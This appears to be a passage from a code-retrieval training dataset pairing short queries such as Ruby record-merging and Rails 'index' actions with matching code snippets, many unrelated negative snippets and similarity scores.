"def merge_one(n)\n\n # if the primary library (self) does not contain the entry, don't merge\n # unless --merge option given\n citekey = n.citekey\n unless self.has_key?(citekey) and @opts[:add] == false\n STDERR.puts \"<#{n.citekey}> do not exist in primary bib file. use --add to force adding them\"\n else\n old = self[citekey]\n if old.bib_hash == n.bib_hash # if contents is same.. don't replace\n STDERR.puts \"Skiping: <#{citekey}>\"\n elsif old.inconsistent?(n)\n STDERR.puts \"Inconsistent: <#{citekey}>\"\n if @opts[:dump_mismatch]\n STDERR.puts \"----- #{old.bib_hash}\"\n STDERR.puts old.to_s\n STDERR.puts \"----- #{n.bib_hash}\"\n STDERR.puts n.to_s\n end\n else\n if @opts[:dump_mismatch]\n STDERR.puts \"----- #{old.bib_hash}\"\n STDERR.puts old.to_s\n STDERR.puts \"----- #{n.bib_hash}\"\n STDERR.puts n.to_s\n end\n\n if @opts[:overwrite] # dont overwrite unless specified\n STDERR.puts \"Replacing: <#{citekey}>\"\n self[citekey] = n\n else\n STDERR.puts \"*NOT* Replacing: <#{citekey}> -- use --overwrite to replace\"\n end\n end\n end\n end",
"def single_barcode?\n if consumables.count == 0\n return false\n end\n consumables.first.barcode == consumables.last.barcode\n end",
"def includes_all?(other)\n leftovers = other.dup\n leftovers.delete_elements!(self)\n leftovers.empty?\n end",
"def disjoint?(other); end",
"def disjoint?(other); end",
"def disjoint?(other); end",
"def insync?(is)\n ##Find unique entries\n is_unique = is - should\n should_unique = should - is\n ##Combine variables and check if empty\n diff = is_unique + should_unique\n diff.length == 0 ? true : false\n end",
"def compliant?(bav, pav)\n if bav.is_a?(Set) && pav.is_a?(Set)\n bav.subset?(pav)\n elsif bav.is_a?(Array) && pav.is_a?(Array)\n return false if pav.size < bav.size\n cp = pav.clone\n bav.each do |be|\n ix = cp.index(be)\n return false if ix.nil?\n cp.delete_at(ix)\n end\n true\n elsif bav.is_a?(Hash) && pav.is_a?(Hash)\n # Double negation here since Hash doesn't have an all? method\n !bav.any? {|k,v| !(pav.include?(k) && compliant?(v, pav[k])) }\n else\n values_equal?(bav, pav)\n end\n end",
"def book?\n marc_leader_06_match = %w[a t].include?(record.leader.byteslice(6))\n marc_leader_07_match = %w[a c d m].include?(record.leader.byteslice(7))\n marc_008_24_27_match = record.fields('008').find do |field|\n !(field.value.byteslice(24..27) || '').scrub(' ').split('').include?('m')\n end\n\n marc_006_match = record.fields('006').find do |field|\n %w[a t].include?(field.value.byteslice(0)) &&\n !(field.value.byteslice(7..10) || '').scrub(' ').split('').include?('m')\n end\n\n atlas_007_match = record.fields('007').find do |field|\n field.value.byteslice(0..1) == 'ad'\n end\n \n return true if (marc_leader_06_match &&\n marc_leader_07_match &&\n marc_008_24_27_match) ||\n marc_006_match ||\n atlas_007_match\n end",
"def byteCompare(f1, f2)\n byteChunk = 1\n file1 = File.open(f1,\"rb\")\n file2 = File.open(f2,\"rb\")\n until file1.eof?\n buffer1 = file1.read(byteChunk).bytes\n buffer2 = file2.read(byteChunk).bytes\n if buffer1!=buffer2\n file1.close\n file2.close\n return false\n end\n #puts buffer1.join(\",\")\n #puts buffer2.join(\",\")\n end\n file1.close\n if !file2.eof?\n file2.close\n return false\n end\n file2.close\n return true\nend",
"def areSimilar(a, b)\n count = 0\n \n for i in 0..(a.count-1)\n if a[i] != b[i]\n count += 1\n end\n end\n \n if count < 3\n if a.sort == b.sort\n return true\n end\n end\n \n false\nend",
"def compare_data(table)\n data1 = query(@db1, \"SELECT * FROM #{table}\", \"hash\")\n data2 = query(@db2, \"SELECT * FROM #{table}\", \"hash\")\n \n changes = false\n data1.each do |row|\n if ! data2.include?(row)\n to_insert(@db2_output, table, row)\n changes = true\n end\n end \n @db2_output << \"\\n\" if changes\n \n changes = false\n data2.each do |row|\n if ! data1.include?(row)\n to_insert(@db1_output, table, row)\n changes = true\n end\n end\n @db1_output << \"\\n\" if changes\n end",
"def merge!; end",
"def mergable?\n merge_bps <= 20.minutes.to_i\n end",
"def duplicate?\n @duplicate == true\n end",
"def merge; end",
"def compare_stream(a, b)\n bsize = fu_stream_blksize(a, b)\n\n sa = String.new(capacity: bsize)\n sb = String.new(capacity: bsize)\n\n begin\n a.read(bsize, sa)\n b.read(bsize, sb)\n return true if sa.empty? && sb.empty?\n end while sa == sb\n false\n end",
"def is_compromised\n\t\tif (!@head) then return end\n\t\ttype = @head.get_item().class\n\t\tcurrent = @head\n\t\twhile (current)\n\t\t\tif (!(current.get_item().is_a?(type))) then return true end\n\t\t\tcurrent = current.get_next()\n\t\tend\n\t\treturn false\n\tend",
"def double?\n if self.id\n return true if self.torrent_url && Torrent.not_self(self.id).find_by_torrent_url(self.torrent_url)\n return true if self.transmission_hash_string && Torrent.not_self(self.id).find_by_transmission_hash_string(self.transmission_hash_string)\n return true if self.name && Torrent.not_self(self.id).find_by_name(self.name)\n else\n return true if self.torrent_url && Torrent.find_by_torrent_url(self.torrent_url)\n return true if self.transmission_hash_string && Torrent.find_by_transmission_hash_string(self.transmission_hash_string)\n return true if self.name && Torrent.find_by_name(self.name) \n end\n \n \n return false\n end",
"def can_absorb other\n return true if (meaning_ids == other.meaning_ids)\n (other.normalized_name == self.normalized_name) && ((other.tagtype==0) || (other.tagtype == self.tagtype))\n end",
"def create\n\n @book = Book.new(book_params)\n book = GoogleBooks.search('isbn:'[email protected]_s)\n first_book = book.first\n @book.name = first_book.title\n @book.publication_year = first_book.published_date\n @book.author= first_book.authors_array[0]\n\n category_name = first_book.categories.split(\",\")[0]\n category = Category.where(name: category_name ).take\n\n if(category == nil)\n category = Category.new(:name=>category_name)\n category.save\n end\n\n @book.category_id = category.id\n\n\n\n\n\n respond_to do |format|\n @book_search = Book.where(ISBN: @book.ISBN).take\n\n if(@book_search != nil)\n book_library_search = BookLibraryRelation.where(book_id: @book_search.id , library_id: current_admin.library_id).take\n msg ='Book is already in library'\n if(book_library_search == nil)\n @book_library = BookLibraryRelation.new(:book_id=>@book_search.id,:library_id=> current_admin.library_id)\n @book_library.save\n msg = 'Book was successfully created'\n end\n format.html { redirect_to @book_search, notice: msg }\n format.json { render :show, status: :created, location: @book_search }\n else\n\n if @book.save\n @book_library = BookLibraryRelation.new(:book_id=>@book.id,:library_id=> current_admin.library_id)\n @book_library.save\n\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def merge_conflict?; end",
"def same_set?(a, b)\n ((a - b) + (b - a)).blank?\n end",
"def compine(a, b)\n\ta.each do |i|\n\t\tb.delete_at(b.index(i)) unless b.index(i) == nil\n\tend\n\treturn a + b\nend",
"def all_same_album?(tags)\n all_same_tag?(tags, :album)\n end",
"def unique_part_numbers_equal?\n self.pcb_unique_number == self.pcba_unique_number\n end",
"def merge_version?\n version_merge_window.present? && last_version.present? && last_version.updater == updater && last_version.created_at > version_merge_window.ago\n end",
"def mergeable_with?(next_line)\n # Perform the checks for the override flags\n return true if next_line.merge_flag?\n return false if next_line.split_flag?\n mergeable_ignoring_flags?(next_line)\n end",
"def duplicates?(collection); end",
"def can_merge?(merged_task)\n if !(merge_result = super)\n return merge_result\n end\n\n if tr = self.model.transformer\n tr.available_frames.each do |frame_name|\n this_sel = merged_task.selected_frames[frame_name]\n if this_sel && (sel = selected_frames[frame_name])\n if this_sel != sel\n Syskit::NetworkGeneration.debug { \"cannot merge #{merged_task} into #{self}: frame selection for #{frame_name} differs (resp. #{merged_task.selected_frames[frame_name]} and #{sel})\" }\n return false\n end\n end\n end\n end\n return true\n end",
"def successfull_merge_or_nothing(i,j)\n # try a merge and determinize inside a transaction on the ufds\n @ufds.transactional do\n merge_and_determinize(i, j)\n end\n end",
"def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end",
"def duplicate_entry?(entry_hash)\n unless entry_hash.include? \"id\" # conditional for record updates\n formatted = format_hash(entry_hash)\n db_hash = get_entry(formatted[\"fname\"], formatted[\"lname\"])\n difference = (formatted.to_a - db_hash.to_a).flatten\n difference.size > 0 ? false : true\n else\n false\n end\nend",
"def return_book(title)\n # find book instance by title\n searched_book = Book.find_by(title: title)\n # change book.available to true\n searched_book.update_column(:available, true)\n # checks to see if title is in checkouts and .checked_out == true then changes checkout.checked_out to false\n self.checkouts.find{|checkout| checkout.book.title == title && checkout.checked_out == true}.update_column(:checked_out, false)\n end",
"def crossing?(other); end",
"def crossing?(other); end",
"def crossing?(other); end",
"def merge_records(from, to)\n return false if from == to\n transaction do\n reflect_on_all_associations.each{|reflection| reflection_merge(reflection, from, to)}\n destroy(from)\n end\n true\n end",
"def tag_books(tag, books)\n puts \"Tagging #{books.length} books as #{tag}\"\n books.each do |b|\n unless Tag.exists?(book_id: b.id, name: tag)\n Tag.create(book_id: b.id, name: tag)\n end\n end\n puts \"Done tagging #{tag}\"\nend",
"def ==(b) # :nodoc:\n ( b.respond_to?(:result_attributes) &&\n result_attributes == b.result_attributes && \n @result_attributes.all?{ |k| send(k) == b.send(k) } )\n end"
] |
[
"0.6887311",
"0.6057259",
"0.57850164",
"0.57249916",
"0.56876606",
"0.5640296",
"0.5621098",
"0.5610186",
"0.55885535",
"0.55845964",
"0.55777025",
"0.5527851",
"0.55133927",
"0.5472095",
"0.5464523",
"0.546012",
"0.545949",
"0.545255",
"0.5426013",
"0.5415535",
"0.54056543",
"0.5391028",
"0.5369313",
"0.53510296",
"0.52876693",
"0.52863026",
"0.528036",
"0.5259301",
"0.5254363",
"0.52517164",
"0.5229151",
"0.5209857",
"0.5190099",
"0.51886904",
"0.5169748",
"0.5143292",
"0.51411945",
"0.51368916",
"0.51323664",
"0.51312375",
"0.51213855",
"0.51138353",
"0.5113513",
"0.51097107",
"0.5106982",
"0.51056063",
"0.5105393",
"0.51028407",
"0.5097925",
"0.5095651",
"0.5090624",
"0.50856745",
"0.5075314",
"0.50725174",
"0.50663227",
"0.50500596",
"0.50437784",
"0.5038272",
"0.5037985",
"0.5023748",
"0.5022948",
"0.50007164",
"0.49876058",
"0.49730006",
"0.49730006",
"0.49730006",
"0.49691385",
"0.49635568",
"0.49522117",
"0.49442658",
"0.4941804",
"0.49280453",
"0.4926312",
"0.49257848",
"0.4925517",
"0.49247625",
"0.49197844",
"0.49189988",
"0.49166703",
"0.49123526",
"0.49108267",
"0.49055472",
"0.49038407",
"0.4900668",
"0.48953956",
"0.4893571",
"0.48930568",
"0.4892698",
"0.48876572",
"0.48874325",
"0.48832804",
"0.48830834",
"0.48795915",
"0.48788813",
"0.48761022",
"0.48761022",
"0.48761022",
"0.4875452",
"0.48723817",
"0.48718736"
] |
0.8531181
|
0
|
merge b into self even if they look different
|
def merge!(b)
b.items.each do |i|
self.items << i
self.save!
end
AttributesForMerging.each do |k|
if (self[k].nil? || self[k].empty?) && !(b[k].nil? || b[k].empty?)
self[k]=b[k]
end
end
self.save!
b.destroy
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def union(b)\n b.each do |bf|\n af = @cfile_by_name[bf.file]\n if af\n af.union bf\n else\n @cfile_by_name[bf.file] = bf\n end\n end\n self\n end",
"def union(b)\n @pages.update b.pages\n self\n end",
"def merge(b)\n return false unless self.same_book?(b)\n self.merge!(b)\n end",
"def from_b!\n self.replace(from_b)\n end",
"def merge!(other); end",
"def merge(other); end",
"def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end",
"def merge!; end",
"def merge; end",
"def merge!(with); end",
"def merge( other )\n self.dup.merge!(other)\n end",
"def merge(...)\n self.clone.merge!(...)\n end",
"def merge!(oth)\n t = merge(oth)\n if self == t\n nil\n else\n replace!(t)\n self\n end\n end",
"def merge!(other)\n update!(other.value)\n end",
"def rmerge!(other)\n if other.is_a?(Array)\n other.each { |v| self << v.rdup unless include?(v) }\n elsif other\n self << other.rdup unless include?(other)\n end\n self\n end",
"def to_b!\n self.replace(to_b)\n end",
"def compine(a, b)\n\ta.each do |i|\n\t\tb.delete_at(b.index(i)) unless b.index(i) == nil\n\tend\n\treturn a + b\nend",
"def merge(with); end",
"def merge(source); end",
"def merge!(other)\n raise NotImplementedError.new(\"Method 'merge!' not implemented by '#{self.class.name}'\")\n end",
"def merge other\n if empty? then\n @parts = other.parts\n return self\n end\n\n other.parts.each do |other_part|\n self.parts.delete_if do |self_part|\n self_part.file and self_part.file == other_part.file\n end\n\n self.parts << other_part\n end\n\n self\n end",
"def merge(m, a, b)\n loop do\n return m + a if b.empty?\n return m + b if a.empty?\n if a[0] < b[0]\n m << a.first\n a.delete_at(0)\n else\n m << b.first\n b.delete_at(0)\n end\n end\nend",
"def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend",
"def encode(a, b)\n check_ab_bounds(a, b)\n i = (a << @b_size) ^ b\n interlace(i)\n end",
"def merge(other)\n dup.merge!(other)\n end",
"def merge(a, b)\n result = []\n while(a.size > 0 && b.size > 0) do\n value_a = a.first\n value_b = b.first\n\n if value_a < value_b\n result << value_a\n a.shift\n else\n result << value_b\n b.shift\n end\n end\n\n result + a + b\n end",
"def sorted_merge(a, b)\n i = 0\n until b.empty?\n if a[i].nil? || b[0] <= a[i]\n shift(a, i)\n a[i] = b.delete_at(0)\n end\n i += 1\n end\n a\nend",
"def merge(other)\n self.merge_actors(other)\n self.compress_history()\n end",
"def merge!(other_hash); end",
"def merge!(hash); end",
"def merge(other)\n dup.update(other)\n end",
"def merge(other)\n self.dup.tap do |v|\n v.merge!(other)\n end\n end",
"def merge(other)\n dup.merge!(other)\n end",
"def merge!(other)\n update_attributes items: items + other.items\n other.destroy! and self\n end",
"def merge(a, b)\n for i in 0..(a.length() - 1) # left array is colored red\n a[i].color = [1, 0, 0] #\n end #\n for i in 0..(b.length() - 1) # right array is colored blue\n b[i].color = [0, 0, 1] #\n end #\n c = Array.new(a.length() + b.length())\n ia = 0\n ib = 0\n ic = 0\n while ia < a.length() && ib < b.length()\n a[ia].raise_hand() ; b[ib].raise_hand() # raise hands of compared persons\n if a[ia] < b[ib]\n c[ic] = a[ia]\n move_smaller(c[ic], ic - ia) # move smaller person\n ia = ia + 1\n ic = ic + 1\n else\n c[ic] = b[ib]\n move_smaller(c[ic], ic - (a.length() + ib)) # ditto\n ib = ib + 1\n ic = ic + 1\n end\n end\n if ia < a.length()\n for i in ia..(a.length() - 1)\n c[ic] = a[i]\n move_smaller(c[ic], ic - i) # move remaining person\n ic = ic + 1\n end\n else\n if ib < b.length()\n for i in ib..(b.length() - 1)\n c[ic] = b[i]\n move_smaller(c[ic], ic - (a.length() + i)) # ditto\n ic = ic + 1\n end\n end\n end\n c\nend",
"def merge(other)\n append(*other)\n end",
"def merge( other )\n clone.merge!( other )\n end",
"def merge(other_hash); end",
"def perform_additional_merge_operations!(other)\n end",
"def merge(other)\n other.each { |entry| self << entry }\n self\n end",
"def merge(other, &block)\n dup.merge!(other, &block)\n end",
"def merge!(other)\n operands[0] += other.operands[0]\n self\n end",
"def merge_data!(other, source: T.unsafe(nil)); end",
"def merge!(other)\n other.read_present.each do |k, v|\n write(k, v)\n end\n\n self\n end",
"def concat(a, b)\n a = a.deep_clone\n b = b.deep_clone\n \n # add an epsilon transition from each final state of machine a to the start state of maachine b.\n # then mark each of a's final states as not final\n a.final_states.each do |final_state|\n a.add_transition(:epsilon, final_state, b.start_state)\n final_state.final = false\n end\n \n # add all of machine b's transitions to machine a\n b.transitions.each {|t| a.add_transition(t.token, t.from, t.to) }\n a.final_states = b.final_states\n a.alphabet = a.alphabet | b.alphabet\n \n a\n end",
"def merge(a, b)\n merged = []\n until a.empty? || b.empty?\n # Grab the smaller of the two, move it into the result\n if a.first <= b.first\n merged << a.shift # Pops first element out of \n else\n merged << b.shift\n end\n end\n # Append final remaining element\n merged += a += b\nend",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def merge!(other)\n raise Exception::OptionShouldBeRecursive.new(other) unless Utils.recursive?(other)\n\n if other.is_a?(self.class)\n structures.concat(other.structures)\n else\n structures << other\n end\n\n dirty!\n end",
"def merge(a, b)\n answer = []\n until a.empty? || b.empty?\n if a[0] <= b[0]\n answer << a[0]\n a.shift\n else\n answer << b[0]\n b.shift\n end\n end\n if a.empty?\n b.each do |item|\n answer << item \n end\n end\n if b.empty?\n a.each do |item|\n answer << item\n end\n end\n answer\nend",
"def merge_sorted(a, b)\n idx1 = 0\n idx1 += 1 until a[idx1 + 1].nil?\n idx2 = b.length - 1\n \n curr_idx = a.length - 1 - (a.length - (idx1 + idx2 + 2))\n \n while curr_idx >= 0\n if idx1 < 0 || (b[idx2] > a[idx1] && idx2 >= 0)\n a[curr_idx] = b[idx2]\n idx2 -= 1\n else\n a[curr_idx] = a[idx1]\n idx1 -= 1\n end\n\n curr_idx -= 1\n end\n a\nend",
"def merge(t)\n changes = ( self > t ) ? t.to_h.merge(to_h) : to_h.merge(t.to_h)\n modify(changes)\n end",
"def merge(a,b)\n (a + b).uniq\nend",
"def union(lb)\n\n\n\n\n\n end",
"def merge(a,b)\n \n a.reverse!\n b.reverse!\n result = []\n \n # loop till either a or b is empty\n loop do\n break if a.empty? || b.empty?\n # compare each value in the list to the other list value\n # pop = removes the last element or returns nil\n # the value is pushed to the result\n result << (a.last < b.last ? a.pop : b.pop)\n end\n return result + a.reverse + b.reverse\nend",
"def merge(other)\n dup << other\n end",
"def merge a, b\n if a.length + b.length <= 1 then return a.concat(b) end\n # Make sure both sections have stable state within section\n a = asteroids(a)\n b = asteroids(b)\n\n # Now check what happens when they are placed next to each other.\n winner = wins(a, b)\n case winner\n when'neither'\n merge(a.slice(0, a.length - 1), b.slice(1..)) # Both asteroids at touch point are lost\n when 'left'\n merge(a, b.slice(1..)) # Left asteroid at touch point wins\n when 'right'\n merge(a.slice(0, a.length - 1), b) # Right asteroids at touch point wins\n else\n a.concat(b) # These sections are stable next to each other\n end\nend",
"def merge(base_hash, derived_hash); end",
"def merge!(another_record)\n new_one = self.dup\n [:last, :first, :sex, :birthday, :age, :address, :phone, :email].each do |key|\n if new_val = another_record.send(key)\n self.send(\"#{key}=\", new_val)\n end\n end\n end",
"def merge!(*other_hashes, &blk); end",
"def merge_recursively(a, b)\n a.merge(b) {|key, a_item, b_item| merge_recursively(a_item, b_item) }\n end",
"def deep_merge!(second)\n return nil unless second\n type_assert(second, Array)\n changed = nil\n second.each_index do |k|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n changed |= true if self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n changed |= true if self[k].deep_merge!(second[k])\n elsif exclude?(second[k])\n self << second[k]\n changed |= true\n end\n end\n return nil unless changed\n self\n end",
"def self_merge(cself, pself)\r\n cself\r\n end",
"def merge *others\n others.inject self.clone do |a,b|\n a.insert b\n end\n end",
"def qconj\n\t\tself.class.new(@a, -@b)\n\tend",
"def merge(other)\n other.inject(self) { |result, entry| result << entry }\n end",
"def union(other)\n self.class.from_a(to_a | other.to_a)\n end",
"def merge! *others\n others.inject self do |a,b|\n a.set!(**b)\n end\n end",
"def union itemA, itemB\n\tend",
"def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend",
"def merge_inheritance\n relation.itself_only_value = true if other.itself_only_value.present?\n\n if other.cast_records_value.present?\n relation.cast_records_value += other.cast_records_value\n relation.cast_records_value.uniq!\n end\n end",
"def merge!\n other_tag = Tag.find_by_name(self.name)\n if other_tag.nil? or other_tag.id == self.id\n return self\n else\n taggings.map(&:clone).each { |t| (t.tag = other_tag) && t.save! }\n self.destroy\n return other_tag\n end\n end",
"def merge_into(r)\n if !self.metadata[:add].nil?\n if !r.metadata[:add].nil?\n r.metadata[:add] |= self.metadata[:add]\n else\n r.metadata[:add] = self.metadata[:add]\n end\n end\n\n if !self.metadata[:remove].nil?\n if !r.metadata[:remove].nil?\n r.metadata[:remove] |= self.metadata[:remove]\n else\n r.metadata[:remove] = self.metadata[:remove]\n end\n end\n\n if !r.metadata[:todos].nil?\n r.metadata[:todos] |= r.metadata[:add] - r.metadata[:remove]\n else\n r.metadata[:todos] = r.metadata[:add] - r.metadata[:remove]\n end\n\n if !r.metadata[:tags].nil?\n r.metadata[:tags] |= self.metadata[:tags] if !self.metadata[:tags].nil?\n else\n r.metadata[:tags] = self.metadata[:tags]\n end\n\n if !self.metadata[:tags]\n self.metadata[:tags].each do |tag|\n r.add_tags(tag)\n end\n end\n\n r.sector_tag_list |= self.sector_tag_list\n r.type_tag_list |= self.type_tag_list\n r.input_method_list |= self.input_method_list\n r.PFO_statu_list |= self.PFO_statu_list\n r.organizer_list |= self.organizer_list\n\n r.email << (\", \" + self.email) if r.email.blank? && !self.email.blank?\n r.phone = self.phone if r.phone.blank? && !self.phone.blank?\n r.organization = self.organization if r.organization.blank? && !self.organization.blank?\n r.position = self.position if r.position.blank? && !self.position.blank?\n r.address = self.address if r.address.blank? && !self.address.blank?\n\n r.street_address = self.street_address if r.street_address.nil? && !self.street_address.nil?\n r.user = self.user if r.user.nil? && !self.user.nil?\n\n if !self.notes.nil? && !self.notes.empty?\n if r.notes.nil?\n r.notes = self.notes\n else\n new_notes = r.notes << \", \" << self.notes\n r.notes = nil\n r.save\n r.notes = new_notes\n end\n end\n\n r.manually_added ||= self.manually_added\n r.save\n end",
"def reverse_merge(other_hash); end",
"def reverse_merge(other_hash); end",
"def append(a, b)\n a = a.deep_clone\n b = b.deep_clone\n \n # add an epsilon transition from each final state of machine a to the start state of maachine b.\n # then mark each of a's final states as not final\n a.final_states.each do |final_state|\n a.add_transition(:epsilon, final_state, b.start_state)\n end\n \n # add all of machine b's transitions to machine a\n b.transitions.each {|t| a.add_transition(t.token, t.from, t.to) }\n a.final_states = a.final_states | b.final_states\n a.alphabet = a.alphabet | b.alphabet\n \n a\n end",
"def reverse_merge!(other_hash); end",
"def shallow_merge(other_hash); end",
"def union(other)\n self.class.from_a(to_a | other.to_a)\n end",
"def merge(other)\n if self.overlaps?(other)\n [self | other]\n else\n [self, other]\n end\n end",
"def try_merge!(pin); end",
"def merge(a, b)\n c = []\n until a.empty? && b.empty? do\n if a.first && ((b.first && a.first <= b.first) || !b.first)\n c << a.shift\n else\n c << b.shift\n end\n end\n return c\nend",
"def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend",
"def union(x, y)\n j = find(x)\n k = find(y)\n if j != k\n @parent_array[k] = j\n end\n end",
"def merge(other)\n self.eval do\n other.eval do\n binding\n end\n end\n end",
"def on_b_not_a ai, bi\n if @pending.nil?\n @pending = OrigDelta.new ai, nil, bi, bi\n else\n @pending = @pending.extend_added bi\n end\n end",
"def merge!(other)\n other.each do |k, v|\n if v.is_a?(Array)\n v.each do |value|\n send(k) << value.dup unless send(\"named_#{k[0..-2]}\", value.name)\n end\n elsif send(k).nil?\n send(\"#{k}=\", v)\n end\n end\n\n self\n end",
"def mergeBST(a,b)\n\n a_list = convertBSTtoDLL(a)\n b_list = convertBSTtoDLL(b)\n dll = DoubleList.new\n dll.head = mergeDLL(a_list.head, b_list.head)\n tree = convertDLLtoBST(dll.head, 0, dll.length)\nend",
"def merge(a,b) #Important to know a and b are already sorted.\n c = make1d(a.length()+b.length())\n ia=0\t\n ib=0\n ic=0\n while ia < a.length() && ib < b.length()\n if a[ia] < b[ib]\n c[ic] = a[ia]\n ia = ia + 1\n ic = ic + 1\n else\n c[ic] = b[ib]\n ib = ib + 1\n ic = ic + 1\n end\n end\n c+a+b #Take what you know have of c + a or b, the blank one + the other of a or b, the one with the remainder of your sorted terms.\n c\nend",
"def merge(*other_hashes, &blk); end",
"def merge!(other)\n @hash.merge!(other.hash)\n end",
"def deep_merge(a, b)\n a = a.to_h.with_indifferent_access.tap(&:stringify_keys!)\n b = b.to_h.with_indifferent_access.tap(&:stringify_keys!)\n result = {}\n\n a.each do |k, v|\n result[k] = if v.is_a?(Hash)\n deep_merge(a[k], b[k].to_h)\n elsif v.is_a?(Array)\n (a[k] + b[k].to_a).uniq\n else\n b[k].nil? ? a[k] : b[k]\n end\n end\n\n (b.keys - a.keys).each do |k|\n result[k] = b[k]\n end\n\n result\n end",
"def merge(other)\n self.class[Utils.merge(to_h, other)]\n end",
"def merge!(other)\n\t\tsuper(keys_to_symbols(other))\n\tend",
"def inst_custom_union(arr1, arr2)\n arr1.dup.concat(arr2).uniq # yes thats really it!!\nend",
"def merge!(source)\n self.class.merge!(source, self)\n end",
"def merge!(source)\n self.class.merge!(source, self)\n end",
"def deep_merge!(other_hash)\r\n replace(deep_merge(other_hash))\r\n end",
"def |(other)\n # transform self into a LinkedHashSet to remove duplicates and preserve order as defined by the Ruby Array union contract\n duped = Java::JavaUtil::LinkedHashSet.new(self)\n duped.addAll(other)\n duped\n end"
] |
[
"0.70750886",
"0.7043613",
"0.6964805",
"0.67039114",
"0.6700077",
"0.66657674",
"0.6453251",
"0.6441163",
"0.63232726",
"0.62660897",
"0.6237583",
"0.6208841",
"0.6088389",
"0.60750747",
"0.6058318",
"0.60157704",
"0.599531",
"0.5992914",
"0.58998185",
"0.5883964",
"0.58378905",
"0.5829943",
"0.58278745",
"0.5820894",
"0.5791364",
"0.5723172",
"0.5720907",
"0.57097507",
"0.5703948",
"0.56349283",
"0.5609139",
"0.5607135",
"0.56024337",
"0.56021464",
"0.5593989",
"0.55801857",
"0.55770975",
"0.55703974",
"0.55690515",
"0.5558364",
"0.5556885",
"0.5550874",
"0.55504525",
"0.5537065",
"0.55313426",
"0.55301064",
"0.5516015",
"0.5516015",
"0.5516015",
"0.55064857",
"0.550381",
"0.55032766",
"0.550226",
"0.5492624",
"0.5481463",
"0.54788417",
"0.5475209",
"0.5471938",
"0.54704785",
"0.54703474",
"0.5447442",
"0.5441446",
"0.54230475",
"0.5406982",
"0.5402943",
"0.54006535",
"0.5388098",
"0.5380817",
"0.53686273",
"0.5368364",
"0.5362968",
"0.536035",
"0.53586817",
"0.5357612",
"0.53570056",
"0.53570056",
"0.5351766",
"0.53495866",
"0.53493124",
"0.5348978",
"0.53479445",
"0.53407526",
"0.5339843",
"0.5338695",
"0.5329367",
"0.5321098",
"0.53210855",
"0.5304622",
"0.52971977",
"0.5296349",
"0.52922034",
"0.527707",
"0.5274042",
"0.5273398",
"0.52724904",
"0.5272029",
"0.52717865",
"0.52717865",
"0.5263352",
"0.5259848"
] |
0.74839884
|
0
|
GET /finance_items GET /finance_items.json
|
def index
@finance_items = FinanceItem.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n\t\t@auction_items = @auction.auction_items\n\t\trender json: @auction_items.as_json\n\tend",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @accounting_items = Accounting::Item\n .where(user_id: @current_user.id)\n .includes(:type)\n .joins(:type)\n\n respond_to do |format|\n format.json { render json: @accounting_items, include: :type }\n end\n end",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @furniture_items = FurnitureItem.all\n end",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def index\n @cart_items = CartItem.all\n\n render json: @cart_items\n end",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
